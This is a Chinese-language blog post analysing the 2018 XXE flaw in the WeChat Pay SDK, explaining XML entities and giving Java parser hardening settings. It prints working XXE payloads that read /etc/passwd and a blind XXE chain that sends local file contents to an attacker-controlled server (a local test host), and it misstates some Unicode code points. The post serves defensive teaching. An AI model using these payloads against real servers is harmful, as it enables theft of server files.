蹲厕所的熊

benjaminwhx

由微信支付XXE漏洞谈谈攻击原理以及如何预防

2018-07-05 作者: 吴海旭


  1. 1、简介
  2. 2、漏洞原因
  3. 3、攻击原理
    1. 什么是XML的实体
      1. 字符实体
      2. 命名实体
      3. 外部实体
      4. 参数实体
    2. XXE攻击
      1. Blind XXE漏洞
  4. 4、如何防范
    1. javax.xml.parsers.DocumentBuilder
    2. javax.xml.parsers.SAXParser
    3. javax.xml.stream.XMLInputFactory
    4. org.jdom.input.SAXBuilder
    5. JAXB

因入职蚂蚁金服的这段时间事情比较多,好久没更新文章了,过一阵子逐步恢复更新的频率。

1、简介

因今天有朋友问了我XXE相关的问题,加上前两天微信支付SDK被爆出存在XXE漏洞(漏洞地址:http://seclists.org/fulldisclosure/2018/Jul/3),所以整理了一下,总结出来给不了解XXE或者想深入了解的童鞋们。

2、漏洞原因

本次漏洞是因为微信官方提供的支付SDK包中 WXPayIUtil.xmlToMap() 方法没有对XML实体类的访问做任何限制,导致攻击者可以恶意构造任意的xml请求,对服务器进行攻击,相关的代码如下:

public static Map<String, String> xmlToMap(String strXML) throws Exception {
    try {
        Map<String, String> data = new HashMap<String, String>();
        DocumentBuilderFactory documentBuilderFactory =
                DocumentBuilderFactory.newInstance();
        // **************没有设置对外部实例访问的限制************* //
        DocumentBuilder documentBuilder =
                documentBuilderFactory.newDocumentBuilder();
        InputStream stream = new ByteArrayInputStream(strXML.getBytes(
                "UTF-8"));
        org.w3c.dom.Document doc = documentBuilder.parse(stream);

        doc.getDocumentElement().normalize();
        NodeList nodeList = doc.getDocumentElement().getChildNodes();
        for (int idx = 0; idx < nodeList.getLength(); ++idx) {
            Node node = nodeList.item(idx);
            if (node.getNodeType() == Node.ELEMENT_NODE) {
                org.w3c.dom.Element element = (org.w3c.dom.Element) node
                        ;
                data.put(element.getNodeName(), element.getTextContent
                        ());
            }
        }
        try {
            stream.close();
        } catch (Exception ex) {
            // do nothing
        }
        return data;
    } catch (Exception ex) {
        WXPayUtil.getLogger().warn("Invalid XML, can not convert to
                map. Error message: {}. XML content: {}", ex.getMessage(), strXML);
        throw ex;
    }
}

3、攻击原理

了解攻击原理之前,我们先说一下什么是XML的实体。

什么是XML的实体

实体是对数据的引用;根据实体种类的不同,XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用。它可以分为4种实体类型:

  • 字符实体
  • 命名实体
  • 外部实体
  • 参数实体

除了参数实体外的实体都是以一个与字符(&)开始,以一个分号(;)结束。XML 标准定义了所有 XML 解析器都必须实现的 5 种标准实体,尽管它们还支持其他实体。

  • &apos;是一个撇号:’
  • &amp;是一个与字符:&
  • &quot; 是一个引号:”
  • &lt; 是一个小于号:<
  • &gt; 是一个大于号:>

字符实体

对于字符实体,我们可以用十进制格式(&#*nnn*;,其中 nnn 是字符的十进制值)或十六进制格式(&#x*hhh*; ,其中 hhh 是字符的十六进制值)来指定任意 Unicode 字符。

例如,大写字母 A 是 Unicode 字符 U+0065 。如果想将其表示为一个字符实体,可以输入 &#65;(十进制值)或 &#x41;(十六进制值)。另一个更有用的字符也许是 © —— 版权符号。这个版权符号的字符实体是 &#169;&#xa9; ,因为它是 Unicode 字符 U+0169

命名实体

命名实体就是把实体内容定义出来作为引用,它在整个文档被读取后进行解析。

<!ENTITY c "Chris">
<!ENTITY ch "&c; Herborth">

这样,我们在xml中使用 &c; 就可以解析为 Chris Herborth

外部实体

外部实体表示外部文件的内容。比如我们想把一个xml分为几个文件存储,我们就可以使用外部实体引用其他文件来组装成一个xml。

<!ENTITY chap1 SYSTEM "chapter-1.xml">
<!ENTITY chap2 SYSTEM "chapter-2.xml">
<!ENTITY chap3 SYSTEM "chapter-3.xml">

这样我们就可以组装在一起:

<?xml version="1.0" encoding="utf-8"?>
<!-- Pull in the chapter content: -->
&chap1;
&chap2;
&chap3;

同样的,我们也可以从磁盘加载外部实体:

<?xml version="1.0" encoding="UTF-8"?>
<!--文档类型定义-->
<!DOCTYPE books [
    <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<!--文档元素-->
<books>
    <book>&file;</book>
</books>

同理,只需要把SYSTEM后面的地址改成http地址就可以接受网络传输的外部实体。

参数实体

参数实体只用于 DTD 和文档的内部子集中。它们使用百分号(%)而不是与字符,可以是命名实体或外部实体。

<?xml version="1.0"?>
<!DOCTYPE ANY[
    <!ENTITY % d SYSTEM "file:///Users/Benjamin/Desktop/evil.xml">
    %d;
]>
<root>&b;</root>

evil.xml中的内容如下:

<!ENTITY b SYSTEM "file:///etc/passwd">

这样就可以输出 /etc/passwd 中的内容了。

XXE攻击

传统的xxe攻击就和我上面说的外部实体的例子想类似,可以传入一个xml读取服务器上的文件内容,但是这个必须服务器支持回显xml才可以读取服务器端文件。如果服务器没有回显,只能使用Blind XXE漏洞来构建一条带外信道提取数据。

Blind XXE漏洞

Blind XXE漏洞就是利用xml的参数实体加上外部实体的特性通过http请求传输文件内容到我们的服务器,这样即使对方服务器没有回显,我们还是可以知道文件的内容。

我们假定被攻击者的服务器为A,攻击者的服务器为B。先来尝试启动一个本地的服务作为B,启动8080端口,并开启 /test 路径接收文件内容:

@Controller
@RequestMapping("/test")
public class TestController {

    @RequestMapping("")
    public String hello(String name) {
        System.out.println(name);
        return "welcome";
    }
}

接着,服务器A接收到xml并解析的代码如下:

public class ReadxmlByDom {
    private static DocumentBuilderFactory dbFactory = null;
    private static DocumentBuilder db = null;
    private static Document document = null;
    static{
        try {
            dbFactory = DocumentBuilderFactory.newInstance();
            db = dbFactory.newDocumentBuilder();
        } catch (ParserConfigurationException e) {
            e.printStackTrace();
        }
    }

    public static void main(String args[]) throws IOException, SAXException {
        document = db.parse(ReadxmlByDom.class.getResourceAsStream("/request.xml"));
        NodeList nodeList = document.getElementsByTagName("root");
        String nodeValue = nodeList.item(0).getFirstChild().getNodeValue();
        System.out.println(nodeValue);
    }
}

接着,我们尝试构造了exp,request.xml 如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % info "1234">
    <!ENTITY % remote "<!ENTITY &#37; test SYSTEM 'http://localhost:8080/test?name=%info;'>" >
    %remote;
    %test;
]>
<root></root>

但是测试没有成功,解析的错误如下:

[Fatal Error] :4:94: 参数实体引用 "%info;" 不能出现在 DTD 的内部子集中的标记内。

后来从Timur Yunusov和Alexey Osipov的《XML DATA RETRIEVAL 》paper才了解到,这样的利用方式,一些XML解析器不会处理,解决方案就是再引入1个文件 attack.xml 并把它放到服务器B的webapp下,修改一下 request.xml

<?xml version="1.0"?>
<!DOCTYPE ANY[
    <!ENTITY % remote SYSTEM "http://localhost:8080/attack.xml">
    %remote;
]>
<root></root>

attack.xml如下:

<!ENTITY % payload SYSTEM "file:///Users/Benjamin/Desktop/a.txt">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://localhost:8080/test?name=%payload;'>">
%int;
%trick;

a.txt内容如下:

this is server content!

打开浏览器访问 http:localhost:8080/attack.xml 确保没问题以后,再次尝试调用。

这次服务器A虽然解析还是有问题,但是我们发现服务器B上成功打印出了a.txt的文件内容 this is server content!

4、如何防范

解决该漏洞的原理非常简单,只要禁止解析XML时访问外部实体即可。

漏洞曝出以后,微信进行了紧急修复,一方面是更新了SDK,并提醒开发者使用最新的SDK;SDK中修复代码如下:

documentBuilderFactory.setExpandEntityReferences(false);
documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

过后微信表示上述2条语句无法禁止该漏洞,又更新了一版:

documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
documentBuilderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
documentBuilderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
documentBuilderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
documentBuilderFactory.setXIncludeAware(false);
documentBuilderFactory.setExpandEntityReferences(false);

我们可以参考微信官方给的最佳安全实践:https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5,当然没必要这么复杂,下面是我针对不同的XML解析类给出不同的解决方式:

javax.xml.parsers.DocumentBuilder

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder db = dbf.newDocumentBuilder(); 
Document document = db.parse(in);

javax.xml.parsers.SAXParser

SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
SAXParser parser = factory.newSAXParser();

javax.xml.stream.XMLInputFactory

XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
XMLStreamReader reader = factory.createXMLStreamReader();

org.jdom.input.SAXBuilder

SAXBuilder builder = new SAXBuilder();
builder.setFeature(DDD,true);
Document doc = builder.build(in);

JAXB

JAXBContext jc = JAXBContext.newInstance(Customer.class);
XMLInputFactory xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
XMLStreamReader xsr = xif.createXMLStreamReader(new StreamSource("src/xxe/input.xml"));

Unmarshaller unmarshaller = jc.createUnmarshaller();
Customer customer = (Customer) unmarshaller.unmarshal(xsr);

Marshaller marshaller = jc.createMarshaller();
marshaller.setProperty(Marshaller.JAXB_FORMATTED_OUTPUT, true);
marshaller.marshal(customer, System.out);


坚持原创技术分享,您的支持将鼓励我继续创作!



分享

评论